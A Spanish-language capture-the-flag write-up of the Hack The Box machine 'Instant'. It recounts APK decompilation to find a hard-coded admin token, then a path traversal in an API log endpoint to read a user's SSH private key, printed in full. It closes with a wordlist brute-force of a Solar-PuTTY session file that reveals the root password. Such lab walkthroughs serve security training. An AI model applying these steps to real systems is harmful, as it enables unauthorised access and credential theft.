Table of Contents
Hack The Box: Instant Writeup
Welcome to my detailed writeup of the medium difficulty machine “Instant” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.252.212 --ulimit 5000 -g
210.129.252.212 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.252.212 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 19:44 CEST
3Nmap scan report for 10.129.252.212
4Host is up (0.048s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
10|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
1180/tcp open http Apache httpd 2.4.58
12|_http-server-header: Apache/2.4.58 (Ubuntu)
13|_http-title: Did not follow redirect to http://instant.htb/
14Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 12.10 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.252.212 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 19:45 CEST
3Nmap scan report for 10.129.252.212
4Host is up (0.055s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
71060/udp closed polestar
822124/udp closed unknown
922324/udp closed unknown
1024528/udp closed unknown
1128071/udp closed unknown
1264481/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds
Del escaneo inicial encontramos el dominio instant.htb
, lo añadimos al /etc/hosts
Como no hay muchos puertos abiertos, vamos a empezar enumerando el servicio HTTP que es el único punto de entrada posible en este caso.
HTTP Enumeration
whatweb
no nos reporta nada interesante a parte de un email, support@instant.htb
1$ whatweb http://10.129.252.212
2http://10.129.252.212 [301 Moved Permanently] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.129.252.212], RedirectLocation[http://instant.htb/], Title[301 Moved Permanently]
3http://instant.htb/ [200 OK] Apache[2.4.58], Bootstrap[4.0.0], Country[RESERVED][ZZ], Email[support@instant.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.129.252.212], JQuery[3.2.1], Script, Title[Instant Wallet]
El aspecto de la página se ve muy estático.
Fuzzeando recursos no encuentro nada interesante.
Lo único interesante es el link de descarga http://instant.htb/downloads/instant.apk
el cual nos descarga una aplicación APK.
Nos vamos a descargar la aplicación.
1$ wget http://instant.htb/downloads/instant.apk
2--2024-10-14 19:52:51-- http://instant.htb/downloads/instant.apk
3Resolving instant.htb (instant.htb)... 10.129.252.212
4Connecting to instant.htb (instant.htb)|10.129.252.212|:80... connected.
5HTTP request sent, awaiting response... 200 OK
6Length: 5415990 (5,2M) [application/vnd.android.package-archive]
7Saving to: ‘instant.apk’
8
9instant.apk 100%[==========================>] 5,17M 8,29MB/s in 0,6s
10
112024-10-14 19:52:52 (8,29 MB/s) - ‘instant.apk’ saved [5415990/5415990]
Según los magic numbers es una aplicación para android.
1$ file instant.apk
2instant.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing Block
Static Analysis
Vamos a descargar jd-gui
, un decompilador Java con interfaz gráfica que nos ayuda a investigar el código de las aplicaciones APK.
Lo podemos instalar con apt
1$ sudo apt-get install jd-gui
Vamos a crear una copia de la aplicación pero con la extensión .jar
1$ cp instant.apk instant.jar
Esto es porque jd-gui
tiene un filtro de extensión de archivos y .apk no está incluido, pero realmente esto es un paquete gradle normal.
En el app-metadata.properties
no encontramos nada.
Veo un archivo .gz
interesante.
Vamos a instalar apktool
con:
1$ sudo apt-get install apktool -y
Esta es otra herramienta para extraer los recursos android. En algunas aplicaciones android es normal que se guarden archivos de configuración, URL de firebase u otras cosas.
1$ apktool d instant.apk -o instant
2I: Using Apktool 2.7.0-dirty on instant.apk
3I: Loading resource table...
4I: Decoding AndroidManifest.xml with resources...
5I: Loading resource table from file: /home/pointedsec/.local/share/apktool/framework/1.apk
6I: Regular manifest package...
7I: Decoding file-resources...
8I: Decoding values */* XMLs...
9I: Baksmaling classes.dex...
10I: Copying assets and libs...
11I: Copying unknown files...
12I: Copying original files...
13I: Copying META-INF/services directory
Ahora en el directorio instant
tenemos varios archivos, con un pequeño bucle for podemos buscar por URL’s y encontramos un subdominio mywalletv1.instant.htb
1 for file in $(find -type f); do cat $file | grep "http://" | grep -v "http://schemas"; done
2 const-string v5, "http://"
3 const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
4 const-string v7, "http://mywalletv1.instant.htb/api/v1/view/profile"
5 const-string v1, "http://mywalletv1.instant.htb/api/v1/login"
6 const-string p4, "http://mywalletv1.instant.htb/api/v1/register"
7 const-string v0, "http://mywalletv1.instant.htb/api/v1/initiate/transaction"
8 const-string v1, "http://mywalletv1.instant.htb/api/v1/confirm/pin"
Lo añadimos al /etc/hosts
y esto parece que es una API.
Antes de nada vamos a seguir enumerando la aplicación.
Encontramos otro subdominio swagger-ui
1$ for file in $(find -type f); do cat $file | grep "instant.htb"; done
2 <TextView android:textSize="14.0sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_margin="25.0dip" android:text="Please contact support@instant.htb to have your account recovered" android:fontFamily="sans-serif-condensed" android:textAlignment="center" />
3 <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
4 <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
Y aquí tenemos la documentación de la API.
Podemos probar a registrarnos como usuario.
Ahora podemos iniciar sesión.
Se nos devuelve un token JWT.
No vemos nada interesante en el payload del JWT.
Sin embargo hay rutas interesantes pero que solo puede acceder un administrador.
Entonces necesito encontrar una manera de crear una cuenta de administrador.
Volviendo otra vez a la APK, podemos grepear por la cabecera Authorization
y vemos varias coincidencias.
1$ for file in $(find -type f); do cat $file | grep -i "Authorization"; done
2 value = Lcom/instantlabs/instant/AdminActivities;->TestAdminAuthorization()Ljava/lang/String;
3.method private TestAdminAuthorization()Ljava/lang/String;
4 const-string v2, "Authorization"
5 const-string v7, "Authorization"
6 const-string v0, "Authorization"
7 const-string v1, "Authorization"
8 const-string v1, "Proxy-Authorization"
9 const-string v1, "Authorization"
10 const-string v0, "Proxy-Authorization"
11 const-string p1, "Authorization"
12 const-string v3, "authorization"
13 const-string v3, "proxy-authorization"
Ahora vamos a hacer lo mismo pero con el parámetro -C
de grep para ver 10 líneas por arriba y por abajo.
1$ for file in $(find -type f); do cat $file | grep -i "Authorization" -C 10 ; done
Y encontramos un token JWT.
Comprobando esta cuenta de usuario vemos que tiene el rol de Admin
Enumerating API
Vemos dos usuarios interesantes, uno es el de la cuenta usuario actual y otro es shirohige
Otra función que me llama la atención es la siguiente.
Podemos listar los logs y vemos lo siguiente, el path de usuario, un directorio logs
y lo que parece ser el contenido de dentro. 1.log
es el único log disponible.
Vemos que podemos leer ese log y que es un log de prueba.
Directory Path Traversal -> Foothold
Si intentamos leer el log utilizando la ruta absoluta no se puede, esto es porque internamente al buscar la ruta, utiliza como referencia la ruta /home/shirohige/logs/
, por lo cual, si intentamos utilizar la ruta absoluta realmente estaríamos intentando buscar el archivo /home/shirohige/logs//home/shirohige/logs/1.log
y claramente no existe.
El input del usuario no se sanitiza por detrás, por lo cual podemos hacer un Directory Path Traversal
y leer archivos que no deberíamos de leer.
Podemos leer la flag de usuario, pero todavía no hemos ganado acceso a la máquina víctima.
Podemos leer la clave privada de este usuario.
Podemos copiar esta clave privada y tratarla para que tenga un formato válido.
1$ cat id_rsa.shirohige
2-----BEGIN RSA PRIVATE KEY-----
3MIIEpQIBAAKCAQEAt9H//G6UrF2M7/Qtmpwtol/3SnWFMn9umO2psYcvw5yBou1A
4ErkP/NaSpSi+4/OKBBjrksX+4FubcWsOvMroUmtNaXjpH9DqZrIDus5g1SU4nGeA
5MZdmdsjAg42oEPD4MSJ4jnVfs8R8KE6GFHEHG4WkLAWn4n+M6nKrnXNsFWG2mAIX
6idWo1YBtW5QEOxE6choUHD8LZYoHroZrRarrhQAhrbobRBN4txb/Z2LTB1/wL9xC
7KDZBOKtnzXFUbyviV1XO+DiA8XDwDnubDWEBOPDkQ+hDXNUGnszZfsJxAS0IV208
8DojG/b0cBVUYPVfVYWhbENH9tyie+4833m5AeQIDAQABAoIBAA5BLzWJ9RE0GftQ
991O028cVOQ3hn314gKuZoTNT9UIZOhECjpmabKEh70ehKW3E6NrY0d/VEdGf2Ps1
10HvSd/uEb/Wn58d4Wldl2jC/UKZHYgT4uZTRd9hitCFzLQzwOa7i9CxXvsocJbCAL
11YtNlUR9IavWXpLAS+GsFOcYLztcOK0ejXgej8uuXv1bqK8MwnIS4P5RAlrzU/ze5
12z7DqYHEmkmDzB4MisOMtKcaMnYWJ7UnNRbi9x/eLI0Ng4dX4gweou2z6Mvfl2Gbl
13GzCrN+dlR7NexloNnMt3wvpzQV5po9bdu4hji+spBJwJZ9WF54IqoKUYyeo1QoXF
14N0S3nA8CgYEA3p/DKumvOtrae/J3HJkQ1BRmg2kPF+k1rzOpE7V7CD9EAWSSbEpr
15iv6U5ELrdnUNVrsu7VCSInxC+gwKh4myS1n/Qwxo/uOBZMQ5X5z4M5d22cc3Siv/
16uEGNfd4ddW7eBv7AA4nnUPRnYXO75By196GM9QGCqMiiYFJUn/BB0dsCgYEA02D2
17VFmYtE4U0vX4SsW4yQdMtPfJKsgT1UY3Pmypr8PzPYAmOYHedrkaDD8rRVNPQiYx
18sQ5wAgY00uB7d6YY+/gJKYRQh+Jj0lhDBF5QRtZd3qFnzhKJQHDQcwxe1xGBpE8A
19Zhcmrhtr9FwV6joEKn8QKAG4m+55PtpFYSu1mTsCgYEAwRkYQweQy177NZlZAYAu
203ZWYWZFt2xKYUxBfLk4ymjOt+/tNGgru/w/U+6yj6gqbeEhB6uwA5VKdEaASHgAs
21mzlDtNd11uhk2o9tKGbRzoYpO7qVVYuWci7B2JQpPyvb/3tF94vNDSYA6cFmDvVs
22TI9e4UDfISFt3lhrOJM/tBMCgYEAtLf+gmlDrEvhc+fFyy+2Z3DtPP9oJ0J96mao
23zp8aiGJwcNFCXQJSj5B726KaPSAX8Ec1Tto4GxLxUKWKCeahD7OlKbCtJTACBhFd
244rs7yQR3puK6HC4u2EBbhzE5WIjoHPFKNv5uHIbnSjj8p4/IhgiyaHHoQrClSn5U
25uNok3YcCgYEAlZm8q+7OLAbfBsWLZ4m3I9AaPTdIvpPiKBsXesf+BzHR9faswGdb
26f3rKKjk4yuEkA336dZ3KEKRotCulBj33t645z0z1qY3eNczPUap979veWvgjZCCt
27hEitCPPh4xFo+NAkXQU7G7WnR9qtGm1NMaqXAptdURjCw8Idp5TeqYY=
28-----END RSA PRIVATE KEY-----
Le damos los permisos adecuados.
1$ chmod 600 id_rsa.shirohige
Y ahora por SSH podemos ganar acceso como este usuario en la máquina víctima.
1$ ssh -i id_rsa.shirohige shirohige@instant.htb
2The authenticity of host 'instant.htb (10.129.252.212)' can't be established.
3ED25519 key fingerprint is SHA256:r+JkzsLsWoJi57npPp0MXIJ0/vVzZ22zbB7j3DWmdiY.
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6Warning: Permanently added 'instant.htb' (ED25519) to the list of known hosts.
7Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)
8
9 * Documentation: https://help.ubuntu.com
10 * Management: https://landscape.canonical.com
11 * Support: https://ubuntu.com/pro
12
13This system has been minimized by removing packages and content that are
14not required on a system that users do not log into.
15
16To restore this content, you can run the 'unminimize' command.
17shirohige@instant:~$ id
18uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)
Privilege Escalation
No vemos otro usuario interesante a parte de shirohige
y root
1shirohige@instant:~$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash
Para hacer sudo -l
necesito credencial, y no la tengo.
1shirohige@instant:~$ sudo -l
2[sudo] password for shirohige:
Analizando el directorio projects
del usuario, encontramos un archivo .env
que contiene una clave secreta.
1shirohige@instant:~/projects/mywallet/Instant-Api/mywallet$ cat .env
2SECRET_KEY=VeryStrongS3cretKeyY0uC4NTGET
Esta clave no es válida para este usuario, pero bueno, para algo servirá.
1shirohige@instant:~/projects/mywallet/Instant-Api/mywallet$ sudo -l
2[sudo] password for shirohige:
3Sorry, try again.
4[sudo] password for shirohige:
5sudo: 1 incorrect password attempt
Vemos un archivo instant.db
1hirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ ls -la
2total 44
3drwxr-xr-x 2 shirohige shirohige 4096 Oct 14 16:13 .
4drwxr-xr-x 5 shirohige shirohige 4096 Oct 4 15:22 ..
5-rw-r--r-- 1 shirohige shirohige 36864 Oct 14 16:13 instant.db
Es una BBDD SQLite 3.
1$ file instant.db
2instant.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 14, database pages 9, cookie 0x3, schema 4, UTF-8, version-valid-for 14
Vemos el hash de la contraseña de este usuario.
1sqlite> select * from wallet_users;
21|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 00:20:52.529887|87348|Admin|active
32|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11|pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 20:57:47.909667|42845|instantian|active
43|pointed|pointed@pointed.com|d84ca133-369f-45bc-a652-715aab65dafc|pbkdf2:sha256:600000$rbc6iaE2jCdv3DPG$7aaad442b2631a0685d69ec03069d0d657890620d4a1796576c58f9f7e071f98|2024-10-14 16:13:18.638390|12345|instantian|active
Después de probar no pude crackear este hash, así que será un rabbit-hole.
Decrypting Solar-PuTTY session file
Filtrando por archivos cuyo propietario sea nuestro usuario actual encontramos un archivo interesante.
1shirohige@instant:/$ find -type f -user shirohige 2>/dev/null | grep -v "sys" | grep -v "proc"
Podemos intuir que es un archivo exportado de una sesión de Solar-PuTTY
, es un cliente SSH, Telnet… Como PuTTY
pero mas “moderno”.
Buscando por internet me encontré un PoC para Windows pero también me encontré un artículo muy interesante. https://hackmd.io/@tahaafarooq/cracking-solar-putty
Recomiendo echarle un vistazo, explica como se gestionan las sesiones y la forma tan ridícula que tiene para “encriptar” estas sesiones.
Desgraciadamente necesitamos Windows para poder desencriptar esta sesión ya que utiliza los métodos ProtectedData.Unprotect
y esto depende del mecanismo DPAPI de Windows.
Así que vamos a utilizar el PoC de voidsec
Vamos a clonarnos el repositorio.
1C:\Users\pc\Desktop\instant>git clone https://github.com/VoidSec/SolarPuttyDecrypt
2Cloning into 'SolarPuttyDecrypt'...
3remote: Enumerating objects: 32, done.
4remote: Counting objects: 100% (4/4), done.
5remote: Compressing objects: 100% (4/4), done.
6remote: Total 32 (delta 0), reused 0 (delta 0), pack-reused 28 (from 1)
7Receiving objects: 100% (32/32), 79.79 KiB | 1.66 MiB/s, done.
8Resolving deltas: 100% (6/6), done.
Y lo vamos a abrir en Visual Studio
Lo malo es que necesitamos una contraseña para desencriptar la sesión, y por defecto con este programa habría que probarla de una en una.
En resumen lo que hace es lo siguiente.
Desencriptación
Método
Decrypt
:- Desencripta el archivo de sesión usando TripleDES con la contraseña proporcionada. Utiliza el esquema de derivación de clave Rfc2898DeriveBytes (que implementa PBKDF2) para generar una clave de 24 bytes a partir de la contraseña y la “sal” extraída del archivo encriptado.
- Los datos se desencriptan en bloques, usando modo de operación CBC y un vector de inicialización (IV) específico.
Método
Deob
:- Si no se proporciona una contraseña, usa ProtectedData.Unprotect para desencriptar el archivo usando DPAPI (exclusivo de Windows). Esto indica que el archivo de sesión está cifrado utilizando la identidad del usuario local.
4. Procesamiento del Archivo Desencriptado
- El archivo desencriptado, que está en formato JSON, es leído y formateado para una mejor legibilidad usando la biblioteca Newtonsoft.Json.
- Luego, el archivo es guardado en el escritorio del usuario con el nombre
SolarPutty_sessions_decrypted.txt
.
He modificado el PoC y he creado una versión (fork) para admitir la fuerza bruta. Aquí tenéis el PoC modificado
Simplemente podemos descargarlo, compilarlo y utilizarlo.
1C:\Users\pc\Desktop\instant\SolarPuttyDecrypt\SolarPuttyDecrypt\bin\Release>.\SolarPuttyDecrypt.exe C:\Users\pc\Desktop\instant\SolarPuttyDecrypt\SolarPuttyDecrypt\bin\Release\sessions-backup.dat C:\Users\pc\Desktop\instant\SolarPuttyDecrypt\SolarPuttyDecrypt\bin\Release\rockyou.txt
2-----------------------------------------------------
3SolarPutty's Sessions Decrypter by VoidSec (Brute-Force by pointedsec)
4-----------------------------------------------------
5Trying password: 123456
6Error de desencriptación: Datos incorrectos.
7Trying password: 12345
8Error de desencriptación: Datos incorrectos.
9Trying password: 123456789
10Error de desencriptación: Datos incorrectos.
11Trying password: password
12Error de desencriptación: Datos incorrectos.
13Trying password: iloveyou
14Error de desencriptación: Datos incorrectos.
15Trying password: princess
16Error de desencriptación: Datos incorrectos.
17Trying password: 1234567
18Error de desencriptación: Datos incorrectos.
19Trying password: rockyou
20Error de desencriptación: Datos incorrectos.
21Trying password: 12345678
22Error de desencriptación: Datos incorrectos.
23Trying password: abc123
24Error de desencriptación: Datos incorrectos.
25Trying password: nicole
26Error de desencriptación: Datos incorrectos.
27Trying password: daniel
28Error de desencriptación: Datos incorrectos.
29Trying password: babygirl
30Error de desencriptación: Datos incorrectos.
31Trying password: monkey
32Error de desencriptación: Datos incorrectos.
33Trying password: lovely
34Error de desencriptación: Datos incorrectos.
35Trying password: jessica
36Error de desencriptación: Datos incorrectos.
37Trying password: 654321
38Error de desencriptación: Datos incorrectos.
39Trying password: michael
40Error de desencriptación: Datos incorrectos.
41Trying password: ashley
42Error de desencriptación: Datos incorrectos.
43Trying password: qwerty
44Error de desencriptación: Datos incorrectos.
45Trying password: 111111
46Error de desencriptación: Datos incorrectos.
47Trying password: iloveu
48Error de desencriptación: Datos incorrectos.
49Trying password: 000000
50Error de desencriptación: Datos incorrectos.
51Trying password: michelle
52Error de desencriptación: Datos incorrectos.
53Trying password: tigger
54Error de desencriptación: Datos incorrectos.
55Trying password: sunshine
56Error de desencriptación: Datos incorrectos.
57Trying password: chocolate
58Error de desencriptación: Datos incorrectos.
59Trying password: password1
60Error de desencriptación: Datos incorrectos.
61Trying password: soccer
62Error de desencriptación: Datos incorrectos.
63Trying password: anthony
64Error de desencriptación: Datos incorrectos.
65Trying password: friends
66Error de desencriptación: Datos incorrectos.
67Trying password: butterfly
68Error de desencriptación: Datos incorrectos.
69Trying password: purple
70Error de desencriptación: Datos incorrectos.
71Trying password: angel
72Error de desencriptación: Datos incorrectos.
73Trying password: jordan
74Error de desencriptación: Datos incorrectos.
75Trying password: liverpool
76Error de desencriptación: Datos incorrectos.
77Trying password: justin
78Error de desencriptación: Datos incorrectos.
79Trying password: loveme
80Error de desencriptación: Datos incorrectos.
81Trying password: fuckyou
82Error de desencriptación: Datos incorrectos.
83Trying password: 123123
84Error de desencriptación: Datos incorrectos.
85Trying password: football
86Error de desencriptación: Datos incorrectos.
87Trying password: secret
88Error de desencriptación: Datos incorrectos.
89Trying password: andrea
90Error de desencriptación: Datos incorrectos.
91Trying password: carlos
92Error de desencriptación: Datos incorrectos.
93Trying password: jennifer
94Error de desencriptación: Datos incorrectos.
95Trying password: joshua
96Error de desencriptación: Datos incorrectos.
97Trying password: bubbles
98Error de desencriptación: Datos incorrectos.
99Trying password: 1234567890
100Error de desencriptación: Datos incorrectos.
101Trying password: superman
102Error de desencriptación: Datos incorrectos.
103Trying password: hannah
104Error de desencriptación: Datos incorrectos.
105Trying password: amanda
106Error de desencriptación: Datos incorrectos.
107Trying password: loveyou
108Error de desencriptación: Datos incorrectos.
109Trying password: pretty
110Error de desencriptación: Datos incorrectos.
111Trying password: basketball
112Error de desencriptación: Datos incorrectos.
113Trying password: andrew
114Error de desencriptación: Datos incorrectos.
115Trying password: angels
116Error de desencriptación: Datos incorrectos.
117Trying password: tweety
118Error de desencriptación: Datos incorrectos o formato no válido.
119Trying password: flower
120Error de desencriptación: Datos incorrectos.
121Trying password: playboy
122Error de desencriptación: Datos incorrectos.
123Trying password: hello
124Error de desencriptación: Datos incorrectos.
125Trying password: elizabeth
126Error de desencriptación: Datos incorrectos.
127Trying password: hottie
128Error de desencriptación: Datos incorrectos.
129Trying password: tinkerbell
130Error de desencriptación: Datos incorrectos.
131Trying password: charlie
132Error de desencriptación: Datos incorrectos.
133Trying password: samantha
134Error de desencriptación: Datos incorrectos.
135Trying password: barbie
136Error de desencriptación: Datos incorrectos.
137Trying password: chelsea
138Error de desencriptación: Datos incorrectos.
139Trying password: lovers
140Error de desencriptación: Datos incorrectos.
141Trying password: teamo
142Error de desencriptación: Datos incorrectos.
143Trying password: jasmine
144Error de desencriptación: Datos incorrectos.
145Trying password: brandon
146Error de desencriptación: Datos incorrectos.
147Trying password: 666666
148Error de desencriptación: Datos incorrectos.
149Trying password: shadow
150Error de desencriptación: Datos incorrectos.
151Trying password: melissa
152Error de desencriptación: Datos incorrectos.
153Trying password: eminem
154Error de desencriptación: Datos incorrectos.
155Trying password: matthew
156Error de desencriptación: Datos incorrectos.
157Trying password: robert
158Error de desencriptación: Datos incorrectos.
159Trying password: danielle
160Error de desencriptación: Datos incorrectos.
161Trying password: forever
162Error de desencriptación: Datos incorrectos.
163Trying password: family
164Error de desencriptación: Datos incorrectos.
165Trying password: jonathan
166Error de desencriptación: Datos incorrectos.
167Trying password: 987654321
168Error de desencriptación: Datos incorrectos.
169Trying password: computer
170Error de desencriptación: Datos incorrectos.
171Trying password: whatever
172Error de desencriptación: Datos incorrectos.
173Trying password: dragon
174Error de desencriptación: Datos incorrectos.
175Trying password: vanessa
176Error de desencriptación: Datos incorrectos.
177Trying password: cookie
178Error de desencriptación: Datos incorrectos.
179Trying password: naruto
180Error de desencriptación: Datos incorrectos.
181Trying password: summer
182Error de desencriptación: Datos incorrectos.
183Trying password: sweety
184Error de desencriptación: Datos incorrectos.
185Trying password: spongebob
186Error de desencriptación: Datos incorrectos.
187Trying password: joseph
188Error de desencriptación: Datos incorrectos.
189Trying password: junior
190Error de desencriptación: Datos incorrectos.
191Trying password: softball
192Error de desencriptación: Datos incorrectos.
193Trying password: taylor
194Error de desencriptación: Datos incorrectos.
195Trying password: yellow
196Error de desencriptación: Datos incorrectos.
197Trying password: daniela
198Error de desencriptación: Datos incorrectos.
199Trying password: lauren
200Error de desencriptación: Datos incorrectos.
201Trying password: mickey
202Error de desencriptación: Datos incorrectos.
203Trying password: princesa
204Error de desencriptación: Datos incorrectos.
205Trying password: alexandra
206Error de desencriptación: Datos incorrectos.
207Trying password: alexis
208Error de desencriptación: Datos incorrectos.
209Trying password: jesus
210Error de desencriptación: Datos incorrectos.
211Trying password: estrella
212[+] Password found: estrella
213-----------------------------------------------------
214[+] DONE Decrypted file is saved in: C:\Users\pc\Desktop\SolarPutty_sessions_decrypted.txt
Vemos que la credencial era estrella
.
Ahora podemos comprobar este archivo que en principio debe de ser un JSON válido.
Lo malo que el JSON está en una sola línea, vamos a utilizar jsonformatter para copiar y pegar el JSON y lo vemos bien formateado.
Y vemos esta parte en el JSON.
1"Credentials": [
2 {
3 "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
4 "CredentialsName": "instant-root",
5 "Username": "root",
6 "Password": "12**24nzC!r0c%q12",
7 "PrivateKeyPath": "",
8 "Passphrase": "",
9 "PrivateKeyContent": null
10 }
11 ],
Y ya podemos migrar al usuario root
1shirohige@instant:/opt/backups/Solar-PuTTY$ su root
2Password:
3root@instant:/opt/backups/Solar-PuTTY# id
4uid=0(root) gid=0(root) groups=0(root)
Podemos leer la flag de root
1root@instant:~# cat root.txt
24e1c549df07e76...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Instant #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #APK Static Analysis #API Enumeration #Information Disclosure #Directory Path Traversal #Decrypting Solar-PuTTY Session #Scripting